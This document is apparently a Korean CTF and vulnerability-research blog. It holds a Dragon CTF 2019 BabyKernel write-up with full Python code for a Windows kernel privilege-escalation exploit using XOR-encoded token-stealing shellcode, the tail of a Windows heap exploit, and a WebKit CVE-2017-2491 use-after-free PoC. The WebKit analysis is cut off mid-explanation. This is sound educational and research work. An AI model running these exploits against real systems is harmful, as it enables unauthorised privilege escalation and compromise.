    lazy_write(stack_addr, rop_chain)
    hi.interactive(prompt=None)


# I DON'T WANT TO SEE FXXKING ERROR
is_leaked = log.progress("This is gonna takes some time...")
while True:
    try:
        lazy_base = persistent_leak(leakLazy=True)
        kernel32 = persistent_leak(lazy_base+0x3008) - 0x1e690  # KERNEL32!IsDebuggerPresentStub
        ntdll    = persistent_leak(lazy_base+0x3010) - 0x73810  # ntdll!RtlInitializeSListHead
        ucrtbase = persistent_leak(lazy_base+0x30b0) - 0x0f760  # ucrtbase!free
        break
    except Exception:
        continue

is_leaked.success("Done :D")
log.info("LazyFragmentationHeap = 0x%016x" % lazy_base)
log.info("kernel32 = 0x%016x" % kernel32)
log.info("ntdll    = 0x%016x" % ntdll)
log.info("ucrtbase = 0x%016x" % ucrtbase)

exploit()

5. 후기

하얗게 불태워버렸습니다…

6. 참고자료

Low-fragmentation Heap

https://docs.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap

Windows 8 Heap Internals

http://illmatics.com/Windows%208%20Heap%20Internals.pdf
http://illmatics.com/Windows%208%20Heap%20Internals%20(Slides).pdf

Windows 10 Nt Heap Exploitation (English version)

https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-english-version

windbg와 Win32 API로 알아보는 Windows Heap 정보 분석

https://www.sysnet.pe.kr/2/0/12068

Low Fragmentation Heap (LFH) Exploitation - Windows 10 Userspace

https://github.com/peleghd/Windows-10-Exploitation/blob/master/Low_Fragmentation_Heap_(LFH)_Exploitation_-_Windows_10_Userspace_by_Saar_Amar.pdf

Understanding the Windows Allocator: A Redux

https://www.leviathansecurity.com/blog/understanding-the-windows-allocator-a-redux

Heap Overflow Exploitation on Windows 10 Explained

https://blog.rapid7.com/2019/06/12/heap-overflow-exploitation-on-windows-10-explained/

Windows Debugging( Written in Chinese )

https://github.com/thawk/wiki/wiki/windows_debug

[Writeup] BabyKernel - Dragon CTF 2019

2020-01-11T02:00:00+00:00

작성 - y0ny0ns0n @ null2root

1. 소개

요 몇달동안 해킹 관련 공부에 손을 떼고 있다가 잠시 시간이 나서 재활치료 느낌으로 간단한 Windows 10 커널 문제를 하나 풀어볼려고 합니다.

처음에는 Niklas Baumstark이 WCTF 2018에서 출제했던 searchme라는 문제를 풀어볼려고 했었는데, 분석을 하면 할수록 Mateusz Jurczyk의 writeup에 소개된 방법과 다른 방식으로 접근하기 어려워 보였습니다. 그렇다면 이미 갓해커 한명이 잘 써놓은 writeup이 있는데 다른 attack vector나 새로운 접근을 하지도 않으면서 존재하는 지식을 되풀이 하는건 너무 비생산적이라는 생각이 들어, Mateusz Jurczyk이 Dragon CTF 2019 본선에 출제했던 다른 문제를 골라봤습니다.

2. 환경 구축

가상머신: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

Windows 10 Version 1809 (OS Build 17763.914)
VMware Workstation Pro 15.5.1

문제파일: https://github.com/j00ru/ctf-tasks/tree/master/Dragon%20CTF%202019/Main%20event/BabyKernel/task

분석도구

WinDbg Preview: https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86
VirtualKd-Redux: https://github.com/4d61726b/VirtualKD-Redux
KePwnLib: https://github.com/y0ny0ns0n/my-playgrounds/blob/master/KePwnLib.py
OSRLoader: https://www.osronline.com/OsrDown.cfm/osrloaderv30.zip

사용자가 nt authority\system이 아니면 flag파일을 읽을 수 없도록 수정

3. 분석

우선 처음 봤을때 눈에 띄는 건 취약한 커널 드라이버 파일만 주는 일반적인 커널 문제들과는 다르게 커널 드라이버와 통신하는 클라이언트 실행 파일( SecureClient.exe )도 같이 준다는 점입니다.

SecureClient.exe는 위와 같이 처음 시작 시 입력값을 요구합니다.

“protect“를 입력할 경우, 메시지를 입력하라고 하며 새로운 입력값을 요구하고 이를 입력해주면 메시지가 보호되었다는 문구와 함께 user-mode buffer is now empty라는 문구를 같이 출력합니다. 이 부분의 코드는 아래와 같습니다.

// ....
sub_7FF7F67439D0(&qword_7FF7F67784C0, &user_msg, v13);
v15 = &user_msg;
if ( v39 >= 0x10 )
    v15 = user_msg;
sub_7FF7F674AC08(InBuffer, 4096i64, v15, 4096i64); // 입력받은 메시지를 InBuffer에 복사
DeviceIoControl(hDriver, 0x226203u, 0i64, 0, 0i64, 0, &BytesReturned, 0i64);
InBufferLen = -1i64;
do
    ++InBufferLen;
while ( InBuffer[InBufferLen] );
if ( DeviceIoControl(hDriver, 0x22620Bu, InBuffer, InBufferLen, 0i64, 0, &BytesReturned, 0i64) )
{
    LODWORD(v17) = cpp_cout(Format, "[+] Successfully protected message, user-mode buffer is now empty");
// ....

DeviceIoControl() 함수는 Buffered I/O 통신을 사용하는 커널 드라이버와 통신하기 위해 사용하는 함수이며, 아래와 같이 입력값 버퍼( lpInBuffer ) 혹은 출력값 버퍼( lpOutBuffer )를 인자값으로 지정할 수 있습니다.

BOOL DeviceIoControl(
    HANDLE       hDevice,
    DWORD        dwIoControlCode, // a.k.a IOCTL code
    LPVOID       lpInBuffer,
    DWORD        nInBufferSize,
    LPVOID       lpOutBuffer,
    DWORD        nOutBufferSize,
    LPDWORD      lpBytesReturned,
    LPOVERLAPPED lpOverlapped
);

위의 코드에선 총 2개의 IOCTL code( 0x226203, 0x22620B )를 사용합니다. 0x226203은 따로 입력값 혹은 출력값 버퍼를 지정해주지 않지만, 0x22620B는 사용자가 입력한 메시지( InBuffer )를 입력값 버퍼로 지정해주는데, 호출 이후 InBuffer에 보관되어있던 메시지는 InBufferLen만큼 NULL 바이트로 덮어씌워집니다.

“unprotect“를 입력할 경우, 위에서 보호했던 메시지를 수신했다고 출력합니다. 이 부분은 지엽적인 코드가 많아 아래와 같이 IOCTL 관련 부분만 봤습니다.

// ....
DeviceIoControl(hDriver, 0x226207u, 0i64, 0, 0i64, 0, BytesReturned + 1, 0i64);
if ( !DeviceIoControl(hDriver, 0x22620Bu, InBuffer, 0x1000u, 0i64, 0, BytesReturned + 1, 0i64) )
{
    LODWORD(v26) = cpp_cout(Format, "[-] Unable to unprotect a message, aborting");
    // ....
}
LODWORD(v20) = cpp_cout(Format, "[+] Retrieved the following message: ");
LODWORD(v21) = cpp_cout(v20, InBuffer);
// ....

여기서도 2개의 IOCTL code( 0x226207, 0x22620B )를 사용합니다.

0x226207은 따로 입/출력값 버퍼를 지정해주지 않고 사용되며, 0x22620B는 여기서 다시 사용되는데 특이하게도 입력값 버퍼로 지정해 준 InBuffer에 커널 드라이버가 보호(?)중인 메시지를 넣습니다.

이후 unprotect를 입력해 다시 한번 위의 코드를 실행하면 아무런 메시지를 출력하지 않는데 아마 kernel-mode buffer에 보관중이던 메시지도 IOCTL 통신 이후에 초기화된 것으로 보입니다.

아직 커널 드라이버 파일( SecureDrv.sys )을 분석하지 않은 상태에서 클라이언트 파일만 봤을 때, IOCTL 통신의 역할은 간단해 보입니다.

0x226203은 사용자에게 입력받은 메시지를 커널 드라이버로 보내고( User-Land -> Kernel-Land ), 0x226207은 커널 드라이버에 보관중인 메시지를 받아서 출력합니다( Kernel-Land -> User-Land ).

특기할 점은 양쪽 다 메시지를 보내고 나서 보낸쪽에서 현재 보관중인 메시지는 NULL 바이트로 초기화한다는 점과, 둘 다 0x22620B를 같이 사용한다는 점인데 여기서 0x22620B가 Kernel-Land와 User-Land간의 메시지 송/수신을 처리한다고 유추해볼 수 있습니다.

이제 SecureDrv.sys를 분석해 봅시다.

커널 드라이버의 entrypoint인 DriverEntry() 함수를 보면 Base Address는 다르겠지만 아래와 같은 구조의 함수를 찾을 수 있습니다.

NTSTATUS __fastcall sub_FFFFF8030740123C(PDRIVER_OBJECT DriverObject)
{
    PDRIVER_OBJECT v1; // rbx
    NTSTATUS result; // eax
    UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h]
    UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h]

    v1 = DriverObject;
    DbgPrint("[+] SecureDrv: driver loaded\r\n");
    RtlInitUnicodeString(&DestinationString, L"\\Device\\SecureStorage");
    RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\SecureStorage");
    result = IoCreateDevice(v1, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
    if ( result >= 0 )
    {
        IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
        memset64(v1->MajorFunction, just_return_STATUS_NOT_SUPPORTED, 0x1Bui64);
        v1->MajorFunction[14] = deviceControlHandler; // IRP_MJ_DEVICE_CONTROL
        v1->DriverUnload = driverUnloadHandler;
        qword_FFFFF80307403020 = 0i64;
        dword_FFFFF80307403028 = 0;
        FastMutex.Count = 1;
        KeInitializeEvent(&Event, SynchronizationEvent, 0);
        qword_FFFFF80307404050 = sub_FFFFF80307401130;
        DbgPrint("[+] SecureDrv: driver initialized\r\n");
        result = 0;
    }
    return result;
}

IOCTL 관련 루틴은 보통 IRP_MJ_DEVICE_CONTROL 핸들러 함수안에 있기 때문에, 해당 핸들러 함수안을 보면 아래와 같이 간단한 구조의 IOCTL code 처리 루틴이 보입니다.

v6 = v2->UserBuffer;
// ....
case 0x226203u:
    v8 = user_to_kernel_handler;
    goto LABEL_9;
case 0x226207u:
    v8 = kernel_to_user_handler;
LABEL_9:
    func_ptr = v8;
    break;
case 0x22620Bu:
    v7 = just_jmp_to_func_ptr(func_ptr); // jmp rax(=func_ptr)
    if ( v6 )
    {
        ProbeForWrite(v6, 8ui64, 1u);
        *v6 = v7;
    }
    break;

0x22620B는 다른 IOCTL code에서 지정해준 핸들러 함수를 실행하는게 기능의 전부였습니다. 실제 처리 루틴은 0x226203( user_to_kernel_handler )과 0x226607( kernel_to_user_handler )에 있기 때문에 저 핸들러 함수들을 분석해야 합니다.

signed __int64 __fastcall user_to_kernel_handler(_BYTE *a1, unsigned int a2)
{
    _BYTE *user_msg; // rdi
    unsigned __int64 user_msg_len; // rsi

    user_msg = a1;
    if ( a2 > 0xFFF )                 // cmp     edx, 0FFFh
        return 0xFFFFFFFFC000000Di64; // STATUS_INVALID_PARAMETER
    user_msg_len = a2;
    ProbeForWrite(a1, a2, 1u);
    kmemcpy(kernel_msg, user_msg, user_msg_len);
    if ( user_msg_len >= 0x1000 )     // cmp     rsi, 1000h
        _report_rangecheckfailure();
    kernel_msg[user_msg_len] = 0;
    memset(user_msg, 0, user_msg_len);
    return 0i64;
}

__int64 __fastcall kernel_to_user_handler(_BYTE *a1, unsigned int a2)
{
    unsigned __int64 user_msg_len; // rbx
    _BYTE *user_msg; // r14
    unsigned __int64 kernel_msg_len; // rax

    user_msg_len = a2;
    user_msg = a1;
    ProbeForWrite(a1, a2 + 1, 1u); // lea     r8d, [rsi+1]
    kernel_msg_len = -1i64;
    do
      ++kernel_msg_len;
    while ( kernel_msg[kernel_msg_len] );
    if ( user_msg_len >= kernel_msg_len )
      user_msg_len = kernel_msg_len;
    memcpy(user_msg, kernel_msg, user_msg_len);
    user_msg[user_msg_len] = 0;
    memset(kernel_msg, 0, user_msg_len);
    return 0i64;
}

위의 코드들을 보시면 user_to_kernel_handler() 함수는 입력값 버퍼에서 메시지를 읽어들여 고정된 커널 메모리 영역에 삽입하는데, kernel_to_user_handler() 함수의 경우, 커널 메모리 영역에 보관된 메시지를 읽어들여 입력값 버퍼에 삽입합니다.

근데 입력값 버퍼는 DeviceIoControl()의 3번째 인자값이기 때문에 주소값을 원하는 대로 조작할 수 있습니다. 다만 memcpy() 함수로 값을 복사하기 전에 ProbeForWrite() 함수로 입력값 버퍼의 주소가 실제 User-Land에 속하는 주소인지 검사합니다.

이 검사는 kernel_to_user_handler() 함수에서 ProbeForWrite() 함수의 2번째 인자값에 1을 더해서 호출하기 때문에, 하단의 코드처럼 입력값 버퍼의 크기를 0xFFFFFFFF로 지정해주면 Integer Overflow가 발생해 우회할 수 있습니다.

from KePwnLib import *
import sys

BABY_IOCTL_CODE1 = 0x226203 # user -> kernel
BABY_IOCTL_CODE2 = 0x226207 # kernel -> user
BABY_IOCTL_CODE3 = 0x22620B # jmp to handler

DRIVER_NAME = "\\\\.\\SecureStorage"
DEVICE_NAME = "SecureDrv"

# edit for exploit
DeviceIoControl.argtypes = [
	HANDLE,
	DWORD,
	c_ulonglong, # LPVOID,
	DWORD,
	LPVOID,
	DWORD,
	POINTER(DWORD),
	LPVOID
]

hDriver = DriverConnect(DRIVER_NAME)
if hDriver == NULL:
	print "[!] cannot create kernel driver handler"
	sys.exit(-1)

print "[+] %s handler      = 0x%x" % (DRIVER_NAME, hDriver)
securedrv_addr = GetDeviceBase(DEVICE_NAME)
print "[+] %s base address = 0x%016x" % (DEVICE_NAME, securedrv_addr)

dwRet = DWORD(0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE1, NULL, 0, NULL, 0, byref(dwRet), 0)

buf = create_string_buffer(0x100)
memmove(buf, "A" * 8, 8)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, addressof(buf), 8, NULL, 0, byref(dwRet), 0)

DeviceIoControl(hDriver, BABY_IOCTL_CODE2, NULL, 0, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, securedrv_addr+0x4050, -1, NULL, 0, byref(dwRet), 0)

'''
SecureDrv+0x11e3:
fffff803`074311e3 ff153f0e0000    call    qword ptr [SecureDrv+0x2028 (fffff803`07432028)]
0: kd> r rcx,rdx,r8
rcx=fffff80307434050 rdx=0000000000000000 r8=0000000000000001
0: kd> dqs fffff803`07432028 l1
fffff803`07432028  fffff803`06868db0 nt!ProbeForWrite
....
SecureDrv+0x120d:
fffff803`0743120d e8ae010000      call    SecureDrv+0x13c0 (fffff803`074313c0) <- memcpy()
1: kd> r rcx,rdx,r8
rcx=fffff80307434050 rdx=fffff80307433050 r8=0000000000000008
1: kd> dqs @rdx l1
fffff803`07433050  41414141`41414141
'''

그런데 만약 이 취약점을 사용할 경우, kernel_to_user_handler()에서 user_msg_len의 값이 0xFFFFFFFF가 되기 때문에 항상 kernel_msg_len의 값이 memcpy() 함수의 3번째 인자로 사용됩니다. kernel_msg_len은 kernel_msg에 보관된 값이 문자열이라고 가정한 상태에서 길이를 계산하기 때문에, 임의의 주소에 쓰고자 하는 값 중간에 NULL 바이트가 들어가지 않도록 유의해야 합니다.

어쨌든 이제 AAW( Arbitrary Address Write )가 가능한 취약점을 찾았으니 본격적인 공격단계로 넘어가 보겠습니다.

4. 익스플로잇

분석 단계에서 설명드린 것처럼 취약점 자체는 간단하기 때문에, 익스플로잇 과정을 좀 더 상세하게 다뤄보겠습니다.

우선 Windows 10 커널엔 여러 mitigation들이 있는데, 그 중에서 제가 알고있는 것들을 나열해보면 다음과 같습니다:

0x0 주소 mapping 불가
SMEP로 인해 Kernel-Land( Ring-0 )에서 User-Land( Ring-3 )의 코드를 실행할 수 없음

NtQueryIntervalProfile()에서 HalDispatchTable에 보관된 주소값을 참조해 호출하는 부분에 Control Flow Guard가 추가됨

0: kd> u nt!KeQueryIntervalProfile l10
nt!KeQueryIntervalProfile:
fffff803`068d3b74 4883ec58        sub     rsp,58h
fffff803`068d3b78 83f901          cmp     ecx,1
fffff803`068d3b7b 7436            je      nt!KeQueryIntervalProfile+0x3f (fffff803`068d3bb3)
fffff803`068d3b7d 488b0504e4d3ff  mov     rax,qword ptr [nt!HalDispatchTable+0x8 (fffff803`06611f88)]
fffff803`068d3b84 4c8d4c2460      lea     r9,[rsp+60h]
fffff803`068d3b89 ba18000000      mov     edx,18h
fffff803`068d3b8e 894c2430        mov     dword ptr [rsp+30h],ecx
fffff803`068d3b92 4c8d442430      lea     r8,[rsp+30h]
fffff803`068d3b97 8d4ae9          lea     ecx,[rdx-17h]
fffff803`068d3b9a e8e1e5afff      call    nt!guard_dispatch_icall (fffff803`063d2180)
....

Integrity level이 low인 프로세스는 NtQuerySystemInformation(), EnumDeviceDrivers()와 같은 KASLR Bypass에 사용될 수 있는 함수들을 호출할 수 없음
ETC…

이외에도 더 있을텐데, 제가 아는 선에선 이게 끝입니다.

보통 Windows 커널 익스플로잇은 PID가 항상 4로 고정되어 있는 SYSTEM 프로세스의 Token을 훔쳐오는 쉘코드를 실행하는 형태로 이루어집니다.

Token이란 현재 프로세스 혹은 스레드의 권한을 정의하는 객체를 의미하는데, 현재 Windows에 상에서 동작하는 모든 프로세스들은 _EPROCESS 객체의 double linked list 형태로 관리되며 Token 역시 이 객체안에 보관됩니다. Windows 커널 익스플로잇을 위한 쉘코드는 이 _EPROCESS 객체의 double linked list를 순회하며 SYSTEM 프로세스를 찾는 방식으로 동작합니다.

저는 이미 KePwnLib.py에 tokenStealingShellcodeForWin10_1809란 이름으로 정의해둔 쉘코드를 사용했는데, 중간에 NULL가 들어가지 않도록 간단한 XOR encoder를 가지고 아래와 같은 익스플로잇 코드를 작성했습니다.

( 그리고 이유는 알 수 없지만, 분명 NonPagedPool 객체 영역은 실행권한이 없다고 알고 있었는데 ExAllocatePoolWithTag(NonPagedPool, 0x1000)으로 할당한 영역에 RWX 권한이 있었습니다 )

from KePwnLib import *
import sys

BABY_IOCTL_CODE1 = 0x226203 # user -> kernel
BABY_IOCTL_CODE2 = 0x226207 # kernel -> user
BABY_IOCTL_CODE3 = 0x22620B # jmp to handler

DRIVER_NAME = "\\\\.\\SecureStorage"
DEVICE_NAME = "SecureDrv"

ExAllocatePoolWithTag_offset = 0x348030
func_ptr_offset = 0x4050

# edit for exploit
DeviceIoControl.argtypes = [
	HANDLE,
	DWORD,
	c_ulonglong, # LPVOID,
	DWORD,
	LPVOID,
	DWORD,
	POINTER(DWORD),
	LPVOID
]

# for shellcode without NULL byte
def xored_shellcode(sc):
    xor_byte = 0
    for i in range(1, 256):
        xored_sc = "".join(chr(ord(x) ^ i) for x in sc)
        if "\x00" not in xored_sc:
            xor_byte = i
            break

    decoder = ""
    decoder += "\x48\x31\xc9" # xor rcx, rcx
    if len(xored_sc) < 0x100:
        decoder += "\xb1" + p8(len(xored_sc))      # mov cl, len(xored_sc)
    elif (len(xored_sc) & 0xFF) == 0:
        xored_sc += chr(0x90 ^ xor_byte)
        decoder += "\x66\xB9" + p16(len(xored_sc)) # mov cx, len(xored_sc)
    else:
        decoder += "\x66\xB9" + p16(len(xored_sc)) # mov cx, len(xored_sc)

    xor_start = len(pusha()) + len(decoder) + 14
    
    # decode_loop:
    decoder += "\x8a\x58" + p8(xor_start) # mov bl, byte ptr[rax+xor_start]
    decoder += "\x80\xf3" + p8(xor_byte)  # xor bl, xor_byte
    decoder += "\x88\x58" + p8(xor_start) # mov byte ptr[rax+xor_start], bl
    decoder += "\x48\xFF\xC0"             # inc rax
    decoder += "\xE2\xF2"                 # loop decode_loop
    
    result = ""
    result += "\x90"     # NonPagedPool object address always like 0xXXXX~00, need to terminate that NULL
    result += pusha()    # pusha code for register backup before XOR decoding
    result += decoder
    result += xored_sc
    result += popa()     # popa code for register restore after XOR decoding
    result += return_0()

    return result


hDriver = DriverConnect(DRIVER_NAME)
if hDriver == NULL:
	print "[!] cannot create kernel driver handler"
	sys.exit(-1)

print "[+] %s handler = 0x%x" % (DRIVER_NAME, hDriver)
securedrv_addr = GetDeviceBase(DEVICE_NAME)
print "[+] %s base address = 0x%016x" % (DEVICE_NAME, securedrv_addr)
allocpool_addr = GetKernelBase() + ExAllocatePoolWithTag_offset
print "[+] nt!ExAllocatePoolWithTag = 0x%016x" % (allocpool_addr)
func_ptr_addr = securedrv_addr + func_ptr_offset
print "[+] SecureDrv!func_ptr = 0x%016x" % func_ptr_addr

dwRet = DWORD(0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE1, NULL, 0, NULL, 0, byref(dwRet), 0)

buf = create_string_buffer(0x100)
memmove(buf, p64(allocpool_addr), 8)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, addressof(buf), 8, NULL, 0, byref(dwRet), 0)

DeviceIoControl(hDriver, BABY_IOCTL_CODE2, NULL, 0, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, func_ptr_addr, -1, NULL, 0, byref(dwRet), 0)

DeviceIoControl(hDriver, BABY_IOCTL_CODE3, 0, 0x1000, addressof(buf), 8, byref(dwRet), 0)
pool_addr = up64(buf[:8])
print "[+] NonPagedPool object = 0x%016x" % pool_addr

# write shellcode into NonPagedPool Object
shellcode = tokenStealingShellcodeForWin10_1809
shellcode = xored_shellcode(shellcode)
memmove(buf, shellcode, len(shellcode))
DeviceIoControl(hDriver, BABY_IOCTL_CODE1, NULL, 0, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, addressof(buf), len(shellcode), NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE2, NULL, 0, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, pool_addr, -1, NULL, 0, byref(dwRet), 0)

# jmp to overwritten NonPagedPool Object
raw_input("gogo? ")
memmove(buf, p64(pool_addr+1), 8) # plus 1 to terminate last NULL byte
DeviceIoControl(hDriver, BABY_IOCTL_CODE1, NULL, 0, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, addressof(buf), 8, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE2, NULL, 0, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, func_ptr_addr, -1, NULL, 0, byref(dwRet), 0)
DeviceIoControl(hDriver, BABY_IOCTL_CODE3, NULL, 0, NULL, 0, byref(dwRet), 0)

popCMD()

# python -m PyInstaller --onefile -a -n baby_exploit ex.py

5. 후기

취약점 자체는 매우 쉽고 금방 찾을 수 있는데다, Write-What-Where가 가능하기 때문에 익스플로잇도 그렇게 큰 수고를 들이지 않고 할 수 있었습니다.

제가 처음 Windows Kernel에 관심을 가지게 된건 사이버공격방어대회 2019( 통칭 CCE2019 ) 예선에서 babywkernel이란 Windows 7 커널 문제를 풀고나서 였습니다. 그 전까지는 To-Do 목록에 있는 HEVD나 가끔 보면서 큰 관심을 가지지 않았었는데, 이게 문제로 나오니까 거의 하루종일 헤매긴 했지만 막상 풀어보니 재밌었습니다.

익스플로잇 코드도 지금 보면 거의 대회종료시간 직전에 작성해서 reliable하지도 않고 2번째 실행하면 무조건 BSOD를 띄웁니다.

그 뒤로 한동안 공부를 못하다 잠시 시간이 나서 이번에 간단한 문제를 하나 풀어봤는데 나름(?) 괜찮았습니다.

이 문제는 취약점이 너무 간단해 실제 비슷한 사례는 Real-World에 없겠지만, 다른 문서들을 보면 이제 공부를 시작한 입장으로서 여러 신기한 것들을 많이 찾을 수 있었습니다.

예를 들어,

CreatePipe()로 생성한 Named Pipe에 값을 쓰면 NonPagedPool 객체에 들어간다 link.
win32kbase!NtGdiDdDDIGetContextSchedulingPriority 같이 상대적으로 잘 사용되지 않는 syscall 함수를 덮어씌워 사용할 수 있다 link.
SEP_TOKEN_PRIVILEGES 구조체를 덮어씌워 SYSTEM 권한을 가진 프로세스에 코드를 삽입할 수 있다 link.
ETC…

TL;DR. Windows Kernel 생각보다 재밌습니다 ㅎ.

6. 참고자료

CVE-2019-1215( UAF in ws2ifsl.sys ) root-cause analysis on Windows 10 19H1 (1903) x64

https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/

Windows kernel Heap Fengshui

http://www.alex-ionescu.com/?p=231

KASLR Bypass Mitigations in Windows

http://www.alex-ionescu.com/?p=82

WCTF2018 - searchme writeup

https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/

Windows 10 kernel exploitation technique

https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf

NonPagedPool and PagedPool

https://techcommunity.microsoft.com/t5/windows-blog-archive/pushing-the-limits-of-windows-paged-and-nonpaged-pool/ba-p/723789

CVE-2017-2491 삽질기

2019-05-28T00:40:00+00:00

작성 - LiLi, y0ny0ns0n, powerprove, cheese @ null2root

1. 소개

Case-Study의 주제 중 하나였던 CachedCall 취약점입니다. cve 넘버는 CVE-2017-2491 / ZDI-17-231이며, Samuel Groß과 Niklas Baumstark이 연구해 Pwn2Own 2017 에서 제보한 취약점입니다.

패치되기 전 Commit: 498268047e19b5e310afe767cf21b061a79ea780
패치된 후 Commit: 7d1b3b9542d9870b8524f284e108bea56397bd3a

버그에 대한 자세한 설명은 번역문서를 참고하시길 바랍니다.

2. 환경 구축

CVE-2016-4622를 분석할 때와 동일하게 Xcode 7.3.1이 설치된 OS X EI Captian 10.11.4 가상머신을 사용했습니다.

우선 취약한 버전에 해당하는 WebKit 버전을 가져옵니다:

$ git clone git://git.webkit.org/WebKit.git WebKit
.....
$ cd WebKit
$ git reset --hard 4982680 # or git checkout 4982680

보다 더 쉬운 분석을 위해 Source/JavaScriptCore/jsc.cpp 에 있는 printInternal() 함수에 인자값 주소를 출력하는 코드를 추가했습니다:

static EncodedJSValue printInternal(ExecState* exec, FILE* out)
{
    .....

    for (unsigned i = 0; i < exec->argumentCount(); ++i) {
        if (i)
            if (EOF == fputc(' ', out))
                goto fail;

        fprintf(out, "[+] exec->argument(%d) = %p\n", i, (void *)exec->argument(i).toObject(exec)); # inserted code

        auto viewWithString = exec->uncheckedArgument(i).toString(exec)->viewWithUnderlyingString(*exec);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
        if (fprintf(out, "%s", viewWithString.view.utf8().data()) < 0)
            goto fail;
    }

    fputc('\n', out);
fail:
    fflush(out);
    return JSValue::encode(jsUndefined());
}

(사실 이땐 describe()를 비롯한 debugging 함수의 존재 여부도 몰라 이런 번거로운 방법을 썼습니다…ㅠㅠ)

WebKit 빌드 후 JSC 인터프리터에서 아래와 같이 printInternal()에 추가한 코드가 정상적으로 실행되는 것을 확인해야 합니다:

$ Tools/Scripts/build-jsc MACOSX_DEPLOYMENT_TARGET=10.11 SDKROOT=macosx10.11 --debug
.....
** BUILD SUCCEEDED **
$ ./WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/Resources/jsc
>>> print("test");
[+] exec->argument(0) = 0x111dc83e0
test
undefined
>>>

3. 분석

JSC는 Mark And Sweep Algorithm을 이용해 GC를 수행합니다.

GC에 수집되지 않을 객체의 경우 마킹을 통해 표시해둠으로써 할당해제를 피할 수 있는데, CachedCall 클래스의 m_arguments은 외부 인터페이스인 GC엔진이 접근할 수 없는 WTF::Vector라 마킹을 할 수 없어 필요유무와 상관없이 강제로 할당해제됩니다. 그래서 replaceUsingRegExpSearch()에서 cachedCall.setArgument()로 JSString 객체를 m_arguments의 값으로 세팅한 뒤 GC가 발생하면 cachedCall.call()이 할당해제된 JSString 객체를 인자로 삽입하게되어 UAF 버그가 발생하는 겁니다.

버그를 증명하기 위해 사용된 PoC 코드는 다음과 같습니다:

function i_want_to_break_free() {
    var n = 0x10000;
    var m = 10;
    var regex = new RegExp("(ab)".repeat(n), "g"); // g flag to trigger the vulnerable path // (ab)(ab)(ab)(ab)(ab)...(ab)
    var part = "ab".repeat(n);                     // matches have to be at least size 2 to prevent interning
    var s = (part + "|").repeat(m);                // ab|ab|ab|ab|ab|ab|ab|....ab|ab|
    while (true) {
        var cnt = 0;
        var ary = [];
        s.replace(regex, function() {
            for (var i = 1; i < arguments.length-2; ++i) {
                if (typeof arguments[i] !== 'string') {
                    i_am_free = arguments[i];
                    print(arguments);
                    print(i);
                    throw "success";
                }
                ary[cnt++] = arguments[i];  // root everything to force GC
            }
            return "x";
        });
    }
}
try { i_want_to_break_free(); } catch (e) { }
print(typeof(i_am_free));  // will print "object"

중간에 추가한 print() 함수 때문인지 typeof로 i_am_free의 자료형을 출력하려고 할 때 object 대신 string이라고 뜨는 경우가 있습니다. 이는 GC가 발생하지 못한 경우의 수로 몇번 다시 실행해보면 GC가 발생해 CachedCall의 UAF 취약점이 트리거될 것입니다.

lldb로 i_am_free가 위치한 메모리 영역을 찾아 들어가 값을 조회해 보면 다음과 같습니다:

(lldb) x/4gx 0x0000000115b83fc0 <--------------------- arguments[x-2]
0x115b83fc0: 0x0168060000000004 0x0000000200000001
0x115b83fd0: 0x000000010bbc50a0 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b83fe0 <--------------------- arguments[x-1]
0x115b83fe0: 0x0168060000000004 0x0000000200000001
0x115b83ff0: 0x000000010bbc5080 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b7c0a0 <--------------------- arguments[x] = i_am_free
0x115b7c0a0: 0x0000000000000000 0x00000000badbeef0
0x115b7c0b0: 0x00000000badbeef0 0x00000000badbeef0
(lldb) x/4gx 0x0000000115b7c0c0 <--------------------- arguments[x+1]
0x115b7c0c0: 0x0000000115b7c0a0 0x00000000badbeef0
0x115b7c0d0: 0x00000000badbeef0 0x00000000badbeef0

i_am_free는 0x0000000115b7c0a0에 위치해 있습니다. 다른 주소들은 arguments 배열 내에서 i_am_free와 인접해있는 주소들인데, 값을 보시면 i_am_free 가 할당해제(free)된 JSString 객체를 사용하는 걸로 보입니다. 할당해제된 객체는 JSCell 헤더의 위치에 이전에 할당해제된 주소를 덮어씌우는데 i_am_free는 첫번째로 할당해제된 주소라 값이 0x0000000000000000 인 겁니다.

참고로 0x00000000badbeef0 는 JSC가 할당해제된 객체에 덮어씌우는 값입니다.

익스플로잇 과정은 저 할당해제된 영역에 덮어씌워진 주소를 가짜 JSCell 헤더로 만드는 것으로 시작합니다.

StructureID m_structureID;           // dword
IndexingType m_indexingTypeAndMisc;  // byte
JSType m_type;                       // byte
TypeInfo::InlineTypeFlags m_flags;   // byte
CellState m_cellState;               // byte

ex) JSCell = 0x0168060000000004
